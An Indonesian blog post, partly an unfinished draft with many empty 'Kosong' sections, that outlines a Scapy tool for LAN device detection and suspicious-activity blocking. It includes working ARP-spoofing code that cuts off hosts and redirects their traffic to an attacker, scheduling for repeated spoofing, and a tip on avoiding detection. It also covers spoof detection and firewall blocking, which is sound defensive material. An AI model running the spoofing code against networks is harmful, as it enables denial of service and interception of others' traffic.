Deteksi dan Blokir Jaringan Wifi Mencurigakan Otomatis

Sistem Pemantauan dan Pemblokiran Aktivitas Jaringan Otomatisa

A. Pengantar

Deteksi dan Blokir Jaringan Wifi Mencurigakan secara Otomatis adalah sebuah tool jaringan berbasis Scapy yang dirancang untuk melakukan berbagai fungsi pengujian dan pemantauan jaringan lokal (LAN). Pertama, tool ini mampu mendeteksi perangkat yang terhubung di jaringan menggunakan metode ARP scanning serta sniffing terhadap lalu lintas IP yang bersifat khusus, seperti multicast, broadcast, dan lalu lintas IP lokal lainnya.

Kedua, alat ini memiliki kemampuan untuk melakukan ARP spoofing, yaitu proses manipulasi tabel ARP pada perangkat target guna melakukan man-in-the-middle attack atau pemantauan lalu lintas jaringan. Proses ini dapat dikonfigurasi untuk menyerang satu atau beberapa host sekaligus.

Saat proses ARP spoofing dihentikan, tool ini akan secara otomatis mengembalikan (restore) entri ARP pada perangkat target ke keadaan semula, sehingga dapat meminimalkan gangguan pada jaringan dan mencegah konflik ARP yang berkepanjangan.

Alamat MAC dengan IP gateway berarti alamat fisik unik (MAC, kepanjangan dari Media Access Control) yang dimiliki setiap perangkat jaringan untuk identifikasi di lapisan data link, sedangkan IP gateway (IP, kepanjangan dari Internet Protocol) adalah alamat logis dari gerbang jaringan, biasanya berupa router, yang berfungsi sebagai pintu keluar atau penghubung antara jaringan lokal dengan jaringan lain seperti internet; keduanya saling berkaitan karena perangkat akan menggunakan alamat MAC untuk berkomunikasi di jaringan lokal dan IP gateway untuk meneruskan lalu lintas data ke tujuan di luar jaringan tersebut.

B. Fitur

Kosong

2.1 Deteksi IP LAN dan Gateway - Sudah Ada

Kosong

2.2 Deteksi perangkat aktif via ARP - Sudah Ada

Kosong

2.3 Sniff IP multicast/broadcast/link-local - Sudah Ada

Kosong

2.4 Simpan hasil deteksi ke file CSV - Sudah Ada

Kosong

2.5 Spoof dan Restore ARP - Sudah Ada

Kosong

2.6 Validasi hak akses (root/admin)- Sudah Ada

Kosong

2.7 🧱 Blokir IP/Perangkat

Teknik ini memanfaatkan ARP spoofing untuk memblokir perangkat tertentu dalam jaringan lokal. Caranya adalah dengan mengirim paket ARP palsu ke target sehingga mereka percaya bahwa gateway (router) berada di alamat MAC yang salah (misalnya MAC palsu seperti 00:00:00:00:00:00). Akibatnya, perangkat tidak bisa mengakses jaringan/internet karena lalu lintasnya dikirim ke alamat yang tidak ada (sinkhole).

Langkah kerja:

  1. Ambil alamat MAC dari target (fungsi get_mac()).
  2. Ambil IP gateway (fungsi get_gateway_ip()).
  3. Kirim paket ARP palsu yang menyatakan bahwa gateway kini berada di MAC address palsu.
  4. Target akan menyimpan entri ARP palsu itu dan lalu lintasnya tidak akan sampai ke gateway.

Contoh kode Python (menggunakan Scapy):


                from scapy.all import ARP, send

                def block_ip(ip, fake_mac="00:00:00:00:00:00"):
                    packet = ARP(
                        op=2,                        # ARP Reply
                        pdst=ip,                     # Target IP
                        hwdst=get_mac(ip),          # Target MAC
                        psrc=get_gateway_ip(),      # IP palsu: gateway
                        hwsrc=fake_mac              # MAC palsu
                    )
                    send(packet, count=3, verbose=0)
                  

Catatan: Pastikan script dijalankan dengan hak akses root/admin, interface dalam mode promiscuous, dan library Scapy sudah terinstal. Fungsi get_mac() dan get_gateway_ip() perlu Anda definisikan sendiri atau gunakan library tambahan.

2.8 🗑️ Hapus atau Abaikan IP tertentu

Dalam proses pemindaian jaringan atau pengiriman ARP spoof, kita perlu mengecualikan IP tertentu agar:

  • Menghindari gangguan pada perangkat penting atau milik sendiri (misalnya router, admin, server).
  • Meningkatkan efisiensi proses spoofing atau scanning.
  • Menghindari deteksi atau reaksi keamanan dari perangkat yang "waspada".

Solusinya:

  • whitelist atau ignore_list: berisi daftar IP yang tidak boleh diproses (tidak dipindai dan tidak dispoof).
  • blocklist (opsional): berisi daftar IP yang harus selalu diproses atau diblokir secara aktif.

Contoh struktur kode Python:


                ignore_list = ["192.168.1.1", "192.168.1.100"]  # IP yang diabaikan
                blocklist = ["192.168.1.50"]                   # (Opsional) IP yang selalu diprioritaskan untuk diblokir

                def should_process(ip):
                    if ip in ignore_list:
                        return False  # Jangan proses
                    if blocklist and ip in blocklist:
                        return True   # Selalu proses jika masuk blocklist
                    return True       # Proses IP lainnya

                # Contoh penggunaan saat scanning atau spoofing:
                for ip in scan_range():
                    if should_process(ip):
                        spoof(ip)
                  

Perlukah blocklist? Tidak wajib, tapi berguna jika Anda ingin memastikan IP tertentu selalu menjadi target spoofing atau pemantauan, misalnya untuk analisis lalu lintas spesifik atau mitigasi ancaman.

Tips: Simpan daftar ini dalam file eksternal atau gunakan parameter konfigurasi agar fleksibel dan mudah diubah tanpa edit kode utama.

2.9 ♻️ Auto-run Tiap 1 Jam, 12 Jam, ATAU SITUASI MENCURIGAKAN?

Untuk mengotomatisasi eksekusi proses pemindaian atau ARP spoofing secara berkala, Anda dapat menggunakan beberapa metode tergantung sistem operasi dan kebutuhan:

  • Python Internal: threading.Timer, sched.scheduler
  • Linux: cron, systemd timer
  • Windows: Task Scheduler
  • Event-driven: Jalankan hanya saat ada aktivitas mencurigakan (misal: banyak ARP request, koneksi aneh, dsb.)

Contoh Python: Jalankan ulang setiap 1 jam menggunakan threading.Timer


                import threading

                def loop_berkala():
                    print("Menjalankan pemindaian atau spoofing...")
                    scan_semua()  # Ganti dengan fungsi utama Anda
                    threading.Timer(3600, loop_berkala).start()  # Ulang tiap 3600 detik (1 jam)

                loop_berkala()
                  

Alternatif waktu lainnya:

  • 3600 detik = 1 jam
  • 43200 detik = 12 jam

Jika berbasis sistem:

  • Cronjob (Linux):
    0 * * * * /usr/bin/python3 /path/to/script.py   # Setiap 1 jam
                    0 */12 * * * /usr/bin/python3 /path/to/script.py   # Setiap 12 jam
  • Systemd timer: Lebih stabil dari cron untuk background service.
  • Windows Task Scheduler: Buat task baru → Trigger → "Daily" atau "Every x hours".

Event-based trigger (lebih kompleks): Gunakan library seperti scapy atau pyshark untuk memantau lalu lintas dan hanya memicu spoof jika mendeteksi pola mencurigakan (misalnya flood ARP, scanning, atau koneksi baru dari IP asing).

Catatan: Gunakan log atau sistem notifikasi (misal tulis ke file/log, atau kirim alert ke Telegram/email) agar bisa memantau aktivitas auto-run ini.

2.10 🔄 Kembali ke Keadaan Semula Otomatis

Setelah proses spoofing selesai—baik secara manual maupun otomatis—fungsi restore() dapat segera dijalankan untuk mengembalikan keadaan jaringan ke kondisi semula.

Sebagai alternatif yang lebih praktis, kamu dapat membuat fungsi spoof_once_then_restore() untuk menyederhanakan proses spoof satu kali lalu langsung memulihkan:


                def spoof_once_then_restore():
                    spoof(target_ip, gateway_ip, target_mac)
                    spoof(gateway_ip, target_ip, gateway_mac)
                    time.sleep(5)
                    restore(target_ip, gateway_ip, target_mac, gateway_mac)
                    restore(gateway_ip, target_ip, gateway_mac, target_mac)
                    

Fungsi ini berguna saat kamu hanya ingin mengintervensi komunikasi dalam waktu singkat, lalu segera memulihkan koneksi antar perangkat tanpa menunggu intervensi manual lagi.

2.11 🛡️ Logging Aktivitas

Setiap tindakan yang berkaitan dengan aktivitas jaringan seperti spoofing, pemulihan ARP (restore), maupun deteksi perangkat asing sebaiknya dicatat ke dalam log. Logging ini penting untuk keperluan pelacakan, audit keamanan, dan analisis insiden di kemudian hari.

Log idealnya mencatat informasi seperti:

  • Jenis aksi: misalnya spoof, restore, deteksi asing, scan, atau monitor.
  • Hasil aksi: seperti berhasil atau gagal.
  • Waktu dan tanggal: kapan aksi dilakukan.
  • Target IP/MAC: alamat IP atau MAC yang menjadi sasaran aksi.
  • Pesan tambahan: deskripsi atau error yang muncul (jika ada).

Dengan log yang lengkap, pengguna dapat mengevaluasi efektivitas skrip dan mengidentifikasi potensi penyalahgunaan atau kesalahan konfigurasi.

Contoh sederhana pencatatan aktivitas spoofing ke dalam file log.txt:


                with open("log.txt", "a") as log:
                    log.write(f"[{time.ctime()}] Spoof ke {target_ip}\n")
                    

Penulisan file dilakukan dalam mode "a" (append), sehingga log baru akan ditambahkan di akhir file tanpa menghapus data sebelumnya.

Dengan mencatat waktu (time.ctime()) dan target IP, kamu dapat memantau kapan dan ke mana spoof dilakukan. Ini penting untuk keamanan dan evaluasi.

2.12 🚫 Blokir Multicast/Broadcast

Lalu lintas multicast dan broadcast dalam jaringan lokal bisa dimanfaatkan untuk pendeteksian perangkat atau penyebaran paket tidak sah.

Untuk membatasi atau mencegah akses tersebut, dapat menggunakan dua pendekatan:

  1. iptables (Linux): Memblokir paket broadcast secara langsung melalui firewall.
  2. Fungsi spoof: Menanggapi paket broadcast (misalnya ARP request) dengan ARP palsu agar perangkat target diarahkan ke kamu.

Contoh perintah iptables di Linux untuk memblokir broadcast ARP:


                sudo iptables -A INPUT -m pkttype --pkt-type broadcast -j DROP
                    

Alternatif lain adalah dengan memodifikasi fungsi spoof() agar juga merespons permintaan ARP dari alamat broadcast, terutama jika ingin mendominasi ARP cache target secara aktif.

Namun, pendekatan ini harus dilakukan dengan hati-hati karena dapat menyebabkan ketidakstabilan jaringan dan dianggap sebagai aktivitas mencurigakan oleh sistem IDS/IPS.

Fungsi spoof() dirancang untuk mengirimkan paket ARP spoofing secara broadcast dengan diatur bisa seperti berikut:

  1. Rentang IP target: Paket hanya dikirim jika alamat IP target berada dalam rentang tertentu, misalnya dari 192.168.1.10 hingga 192.168.1.50, untuk membatasi target spoofing ke segmen jaringan yang relevan.
  2. Filter pengecualian IP: Fungsi menerapkan filter untuk mengecualikan alamat IP tertentu agar tidak terkena spoofing. Contohnya, 192.168.1.1 (router utama) dan 192.168.1.254 (IP administrator) tidak akan menjadi target, sehingga tetap aman dari manipulasi ARP.
  3. Deteksi MAC address aktif: Fungsi memastikan bahwa alamat MAC target sedang aktif di jaringan (misalnya melalui ARP ping atau cache ARP lokal), sehingga paket spoofing hanya dikirim ke perangkat yang benar-benar online.
  4. Broadcast ke seluruh jaringan: Paket dikirim secara broadcast agar semua perangkat menerima dan memproses ARP palsu. Paket Ethernet ditujukan ke alamat MAC broadcast ff:ff:ff:ff:ff:ff agar dapat diterima oleh seluruh host di jaringan.
  5. Payload spoofing: Payload berupa paket ARP Reply palsu yang mengklaim bahwa alamat IP gateway sebenarnya dimiliki oleh penyerang (melalui fake_gateway_ip dan attacker_mac), sehingga lalu lintas target diarahkan ke penyerang.

Dengan konfigurasi tersebut, fungsi spoof() dapat digunakan untuk menguji kerentanan jaringan secara terkontrol, dengan cara memalsukan jalur lalu lintas data melalui gateway palsu.

Contoh Fungsi Spoof:


                    from scapy.all import ARP, Ether, sendp, getmacbyip

                    # Rentang IP target, contoh: 192.168.1.10 - 192.168.1.50
                    allowed_ip_range = range(10, 51)  # IP terakhir
                    excluded_ips = ["192.168.1.1", "192.168.1.254"]  # IP router atau admin

                    def spoof(target_ip, fake_gateway_ip):
                        if target_ip in excluded_ips:
                            print(f"Target {target_ip} termasuk IP yang diabaikan.")
                            return

                        last_octet = int(target_ip.split('.')[-1])
                        if last_octet not in allowed_ip_range:
                            print(f"Target {target_ip} di luar rentang yang diizinkan.")
                            return

                        target_mac = getmacbyip(target_ip)
                        if target_mac is None:
                            print(f"Tidak menemukan MAC address untuk {target_ip}.")
                            return

                        arp_packet = ARP(op=2, pdst=target_ip, psrc=fake_gateway_ip, hwdst=target_mac)
                        ether_frame = Ether(dst="ff:ff:ff:ff:ff:ff") / arp_packet

                        print(f"Mengirim ARP spoof ke {target_ip} ({target_mac}) melalui broadcast.")
                        sendp(ether_frame, iface="eth0", count=5, inter=2)

                    # Contoh penggunaan
                    spoof("192.168.1.20", "192.168.1.254")                  
                  
2.13 📜 Antarmuka CLI Lebih Baik (Argparse)

Untuk meningkatkan fleksibilitas dan kemudahan penggunaan script, sebaiknya tambahkan antarmuka baris perintah (CLI) menggunakan modul argparse. Dengan demikian, pengguna dapat memilih parameter seperti target, mode operasi, dan interval waktu secara langsung saat menjalankan script.

Contoh opsi yang dapat ditambahkan:

  • Menentukan target IP atau MAC tertentu
  • Memilih mode: deteksi atau spoof
  • Mengatur interval waktu spoofing atau scanning

Contoh 1 penggunaan argparse:


                import argparse

                parser = argparse.ArgumentParser(description="ARP Spoofer dan Detektor")
                parser.add_argument("--target", help="IP target")
                parser.add_argument("--mode", choices=["spoof", "deteksi"], required=True)
                parser.add_argument("--interval", type=int, default=5, help="Interval dalam detik")

                args = parser.parse_args()
                    

Dengan pendekatan ini, pengguna dapat menjalankan script seperti berikut:

python script.py --target 192.168.1.10 --mode spoof --interval 10

Contoh 2 penggunaan argparse:


                import argparse

                parser = argparse.ArgumentParser(description="Network spoofing & detection tool")
                parser.add_argument("-t", "--target", help="IP target (misal: 192.168.1.10)", required=True)
                parser.add_argument("-g", "--gateway", help="IP gateway (misal: 192.168.1.1)", required=True)
                parser.add_argument("-m", "--mode", choices=["spoof", "detect"], default="detect", help="Pilih mode: spoof atau detect")
                parser.add_argument("-i", "--interval", type=int, default=5, help="Interval antar aksi dalam detik")

                args = parser.parse_args()
                    

Dengan pendekatan ini, pengguna dapat menjalankan script seperti berikut:


                python script.py -t 192.168.1.10 -g 192.168.1.1 -m spoof -i 3
                    

Ini membuat program lebih ramah pengguna dan mudah disesuaikan tanpa mengedit kode secara langsung.

Agar program CLI ini juga langsung memanggil fungsi yang sesuai berdasarkan mode yang dipilih, seperti spoof, detect, restore, atau mode tambahan lain sesuai kebutuhan, maka hanya perlu menambahkan logika kondisional setelah baris args = parser.parse_args(). Dengan cara ini, setelah argumen berhasil di-parse, program dapat mengecek nilai args.mode dan memanggil fungsi yang relevan, misalnya spoof_arp() untuk mode spoofing, detect_arp() untuk mode pendeteksian, atau restore_arp() untuk memulihkan tabel ARP. Jika perlu, juga bisa menambahkan mode lain seperti scan untuk memindai jaringan sebelum spoofing, sehingga alur kerja CLI menjadi lebih fleksibel dan otomatis sesuai kebutuhan pengguna.

2.14 📡 Deteksi ARP Spoof yang Masuk dari Perangkat Lain

Spoofing berarti penipuan atau pemalsuan identitas jaringan.

ARP Spoofing adalah teknik serangan pada jaringan komputer di mana penyerang memalsukan pesan ARP (Address Resolution Protocol) untuk mengaitkan alamat MAC miliknya dengan alamat IP perangkat lain. Dengan cara ini, lalu lintas data dapat dialihkan melalui perangkat penyerang. Untuk mengantisipasi serangan ARP Spoofing yang dilakukan oleh perangkat lain di jaringan, dapat dibuat sistem pemantauan yang secara berkala memeriksa kesesuaian alamat MAC dengan IP gateway. Jika terdeteksi perubahan alamat MAC yang tidak sesuai dengan nilai sebenarnya, maka dapat dipastikan terdapat aktivitas spoofing.

Tujuan ARP Spoofing

  • Menyadap lalu lintas jaringan (Man-in-the-Middle Attack)
  • Mencuri data sensitif
  • Mengganggu koneksi (Denial of Service)

Contoh fungsi deteksi spoof:


                def deteksi_spoof(gateway_ip, real_mac):
                    while True:
                        current_mac = get_mac(gateway_ip)
                        if current_mac != real_mac:
                            print("[!] ARP Spoof Terdeteksi!")
                        time.sleep(10)
                    

Kirim pesan ke bot telegram dengan fungsi deteksi:


                def deteksi_spoof(gateway_ip, real_mac):
                    while True:
                        current_mac = get_mac(gateway_ip)
                        if current_mac != real_mac:
                            pesan = f"[ALERT] ARP Spoof terdeteksi! MAC saat ini: {current_mac}"
                            print(pesan)
                            kirim_notifikasi_telegram(pesan)
                        time.sleep(10)
                    

Fungsi ini memanggil get_mac() secara berkala (setiap 10 detik) untuk membandingkan MAC address saat ini dari gateway_ip dengan real_mac yang diketahui sah. Bila ada perbedaan, maka kemungkinan besar terjadi ARP spoof.

Mengembangkan sistem ini agar mencatat deteksi ke dalam log.txt atau mengirimkan notifikasi (misalnya via Telegram atau email) untuk respon cepat.

2.15 🔔 Sistem Notifikasi Otomatis Saat Deteksi Spoof Terjadi

Agar deteksi ARP spoof lebih efektif, kamu dapat menambahkan sistem notifikasi otomatis. Saat spoof terdeteksi, program tidak hanya menampilkan pesan di terminal, tetapi juga mengirimkan peringatan secara real-time, misalnya melalui Telegram atau email.

Contoh mengirim notifikasi via Telegram:


                import requests

                def kirim_notifikasi_telegram(pesan):
                    token = "TOKEN_BOT"
                    chat_id = "ID_CHAT"
                    url = f"https://api.telegram.org/bot{token}/sendMessage"
                    data = {"chat_id": chat_id, "text": pesan}
                    requests.post(url, data=data)
                    

Gabungkan dengan fungsi deteksi:


                def deteksi_spoof(gateway_ip, real_mac):
                    while True:
                        current_mac = get_mac(gateway_ip)
                        if current_mac != real_mac:
                            pesan = f"[ALERT] ARP Spoof terdeteksi! MAC saat ini: {current_mac}"
                            print(pesan)
                            kirim_notifikasi_telegram(pesan)
                        time.sleep(10)
                    

Dengan menambahkan fitur ini, kamu dapat menerima peringatan kapan pun dan di mana pun saat terjadi spoofing di jaringanmu, tanpa harus terus memantau terminal.

2.16 Kosong

Kosong

C. Kosong

Kosong

3.1 Kosong

Kosong

3.2 Kosong

Kosong

D. Kosong

Kosong

4.1 Kosong

Kosong

4.2 Kosong

Kosong

E. Kosong

Kosong

5.1 Kosong

Kosong

5.2 Kosong

Kosong

F. Kosong

Kosong

6.1 Kosong

Kosong

6.2 Kosong

Kosong

G. Kosong

Kosong

8.1 Kosong

Kosong

8.2 Kosong

Kosong

H. Kosong

Kosong

9.1 Kosong

Kosong

9.2 Kosong

Kosong

I. Kosong

Kosong

10.1 Kosong

Kosong

10.2 Kosong

Kosong

J. Kosong

Kosong

11.1 Kosong

Kosong

11.2 Kosong

Kosong

K. Kosong

Kosong

12.1 Kosong

Kosong

12.2 Kosong

Kosong

L. Kosong

Kosong

13.1 Kosong

Kosong

13.2 Kosong

Kosong

M. Komponen & File yang Harus Ada

Berikut adalah komponen dan file/perangkat lunak penting yang dibutuhkan untuk menjalankan sistem monitoring dan pengamanan jaringan:

14.1 Fungsi dan Kebutuhan File
  • Sniffing jaringan: Gunakan Npcap (Windows) atau libpcap (Linux/macOS) untuk menangkap paket jaringan secara real-time.
  • Bahasa pemrograman: Python, dilengkapi pustaka seperti Scapy, Socket, PyShark, dll.
  • Firewall kontrol: iptables untuk Linux, netsh atau PowerShell untuk Windows.
  • Deteksi aktivitas mencurigakan: Gunakan script Python dengan ruleset seperti blacklist IP, pola scanning, anomali DNS, dsb.
  • Blokir IP atau MAC: Melalui netsh, ip route, iptables, atau firewalld.
  • Hapus file otomatis: Gunakan os.remove() di Python, Remove-Item di PowerShell, atau skrip Bash.
  • Logging & notifikasi: Kombinasi logging Python, sendmail, webhook, atau Telegram API.
14.2 Rekomendasi Struktur Folder & File

Struktur dasar direktori proyek yang disarankan:


        /monitoring_project/
        │
        ├── sniffing.py               # Untuk capture & analisis paket
        ├── firewall_control.py       # Untuk kontrol firewall otomatis
        ├── detection_rules.py        # Berisi pola atau IP mencurigakan
        ├── notifier.py               # Modul notifikasi (Telegram/Webhook)
        ├── utils/
        │   ├── file_manager.py       # Hapus file otomatis
        │   └── logger.py             # Setup logging
        ├── logs/
        │   └── activity.log
        ├── data/
        │   └── blacklist.txt
        └── config/
            └── settings.yaml         # Konfigurasi umum
                    
N. Aplikasi atau Library yang Wajib Didownload

Berikut adalah daftar aplikasi atau library penting yang wajib diunduh untuk mendukung proses scripting dan pemantauan jaringan:

15.1 Bahasa dan Library Python
  • Python: Bahasa utama untuk scripting otomatisasi.
  • Scapy: Library Python untuk manipulasi paket jaringan.
  • PyShark: Wrapper Python untuk tshark, digunakan untuk analisis jaringan lanjutan.
  • psutil: Memantau proses sistem dan koneksi jaringan yang berjalan.
  • Watchdog: Mendeteksi perubahan pada file atau folder secara real-time.
15.2 Tools Jaringan & Sistem
  • Npcap: Library untuk sniffing atau packet capture di Windows (pengganti WinPcap).
  • TShark / Wireshark: Alat analisis jaringan (Wireshark dengan GUI, TShark berbasis CLI).
  • Netfilter / iptables: Digunakan untuk memblokir koneksi secara real-time di sistem Linux.
  • WinDivert: Untuk memanipulasi dan memfilter traffic jaringan secara real-time di Windows.
  • Shodan API (opsional): Untuk mengecek reputasi IP publik atau perangkat yang terhubung ke internet.
O. Akses Level Rendah Jaringan & Sistem

Untuk memantau dan mengendalikan jaringan serta sistem pada level rendah, dibutuhkan kombinasi perangkat lunak dan hak akses tertentu. Hal ini sangat penting dalam konteks analisis forensik jaringan, pemantauan keamanan, maupun pengembangan tool debugging tingkat lanjut.

16.1 Komponen Penting
  • Driver Akses Kernel: Seperti Npcap atau WinPcap, digunakan untuk menangkap dan mengirim paket jaringan mentah langsung dari layer kernel.
  • Mode Promiscuous: Mengaktifkan mode ini memungkinkan antarmuka jaringan untuk menangkap semua paket yang lewat, bukan hanya yang ditujukan ke perangkat sendiri.
  • Akses Administrator/Root: Dibutuhkan agar dapat melakukan manipulasi jaringan, memblokir koneksi, atau bahkan menghapus/memodifikasi file sistem.
16.2 Tujuan & Penerapan

Penerapan akses level rendah meliputi berbagai aktivitas teknis tingkat lanjut seperti:

  • Melakukan packet sniffing untuk keperluan audit dan keamanan.
  • Mengembangkan firewall atau sistem deteksi intrusi (IDS) kustom.
  • Memantau lalu lintas untuk troubleshooting atau analisis performa jaringan.
  • Mendeteksi dan memblokir perangkat asing dalam jaringan lokal.
P. Catatan

Update dan Gabung dengan Topik dan Subtopik Lin

17.1 Contoh File Python Minimal

Berikut adalah contoh minimal skrip Python menggunakan scapy untuk mendeteksi lalu lintas IP mencurigakan dan secara otomatis memblokir IP asing melalui Windows Firewall:


                from scapy.all import sniff, IP
                import os

                def packet_callback(packet):
                    if packet.haslayer(IP):
                        ip_src = packet[IP].src
                        # Hanya tangani IP selain jaringan lokal (192.168.x.x)
                        if not ip_src.startswith("192.168."):
                            print(f"[!] Aktivitas mencurigakan dari {ip_src}")
                            os.system(f'netsh advfirewall firewall add rule name="block_{ip_src}" dir=in action=block remoteip={ip_src}')
                            # Tambahan tindakan bisa disisipkan di sini, seperti mencatat log, hapus file, dsb.

                sniff(prn=packet_callback, store=0)
                  

Catatan:

  • Script ini membutuhkan akses administrator karena memodifikasi aturan firewall.
  • Pastikan scapy telah terinstal: pip install scapy.
  • Sebaiknya gunakan whitelist daripada memblokir semua IP non-lokal secara otomatis untuk menghindari pemblokiran yang tidak disengaja.
17.2 Catatan Penting
  • Hati-hati dengan fitur "hapus otomatis". Pastikan skrip tidak salah menghapus file sistem penting atau data yang dibutuhkan. Selalu validasi jalur file dan gunakan metode whitelist.
  • Jalankan sebagai service atau daemon. Agar skrip aktif terus-menerus memantau jaringan, jalankan sebagai background service (misalnya dengan systemd di Linux atau Task Scheduler di Windows).
  • Lakukan uji coba terlebih dahulu. Sebelum digunakan di lingkungan produksi atau jaringan nyata, ujilah skrip di jaringan lokal atau virtual lab (seperti menggunakan VirtualBox, VMware, atau Docker) untuk menghindari efek yang tidak diinginkan.
17.3 Contoh Workflow Kerja Script Deteksi & Tindakan

Berikut adalah alur kerja (workflow) dari sebuah script keamanan jaringan yang mendeteksi dan merespons aktivitas mencurigakan secara otomatis:

  1. Sniffing Paket: Memantau paket masuk dan keluar secara real-time menggunakan Scapy atau PyShark.
  2. Analisis Pola Serangan: Mengidentifikasi potensi ancaman seperti:
    • SYN Flood
    • DNS Poisoning
    • MAC Spoofing
  3. Jika dicurigai sebagai serangan, maka sistem akan secara otomatis melakukan:
    • ✅ Memblokir IP sumber menggunakan netsh, iptables, atau WinDivert
    • ✅ Mencatat log detail serangan (timestamp, IP, jenis serangan)
    • ✅ Menghapus file hasil transfer jika ditemukan dalam jaringan
    • ✅ Mengirim notifikasi real-time ke Telegram, email, atau webhook
17.4 Kosong

Kosong

Q. Kosong

Kosong

18.1 Kosong

Kosong

18.2 Kosong

Kosong

R. Kosong

Kosong

19.1 Kosong

Kosong

19.2 Kosong

Kosong

Comments

Popular posts from this blog

Contoh Pindah Lokasi di CMD, Folder & Drive C D E

Langkah Cek Instalasi Python

Perbedaan antara Nmap dan python-nmap